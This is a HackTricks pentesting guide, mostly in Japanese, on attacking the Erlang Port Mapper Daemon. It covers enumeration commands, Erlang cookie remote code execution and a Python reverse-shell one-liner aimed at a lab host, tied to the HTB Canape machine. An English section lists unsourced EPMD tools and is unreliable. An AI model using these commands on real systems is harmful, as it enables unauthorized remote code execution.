hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
2023-07-07 23:42:27 +00:00

8.3 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

Erlangポートマッパーデーモンは、分散Erlangインスタンスの調整に使用されます。彼の仕事は、どのノード名がどのアドレスでリッスンしているかを追跡することです。したがって、epmdはシンボリックなード名をマシンアドレスにマッピングします。

デフォルトポート: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

これは、RabbitMQとCouchDBのインストール時にデフォルトで使用されます。

列挙

手動

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

自動

The EPMD (Erlang Port Mapper Daemon) is a service that runs on port 4369 by default in Erlang-based systems. It is responsible for mapping the available ports on a node and facilitating communication between Erlang nodes.

EPMD can be a potential target for attackers during a penetration test. By exploiting vulnerabilities in EPMD, an attacker can gain unauthorized access to the Erlang nodes and potentially compromise the entire system.

To automate the process of identifying and exploiting EPMD vulnerabilities, you can use the following tools:

  • epmd_exploit: This tool allows you to scan a range of IP addresses and identify if EPMD is running on any of them. It also provides options to exploit known vulnerabilities in EPMD.

  • epmd_scan: This tool performs a comprehensive scan of a target IP address or range and identifies any running EPMD instances. It provides detailed information about the EPMD service, including the Erlang nodes registered with it.

  • epmd_brute: This tool performs a brute-force attack on EPMD to guess the registered Erlang nodes. It uses a wordlist of common Erlang node names and tries to connect to each one using EPMD.

Automating the process of identifying and exploiting EPMD vulnerabilities can save time and effort during a penetration test. However, it is important to ensure that you have proper authorization and legal permission before conducting any penetration testing activities.

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

リモート接続

もし、認証クッキーを漏洩させることができれば、ホスト上でコードを実行することができます。通常、このクッキーは~/.erlang.cookieにあり、erlangによって最初の起動時に生成されます。手動で変更または設定されていない場合、これは長さ20文字のランダムな文字列[A:Z]です。

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

詳細はhttps://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/にあります。
著者はまた、クッキーをブルートフォースするためのプログラムも共有しています:

{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}

ローカル接続

この場合、私たちは特権をエスカレーションするためにCouchDBを悪用します。

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

以下はhttps://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-executionからの例です。この脆弱性を悪用する方法を練習するために、Canape HTBマシンを使用することができます。

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "at port"
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥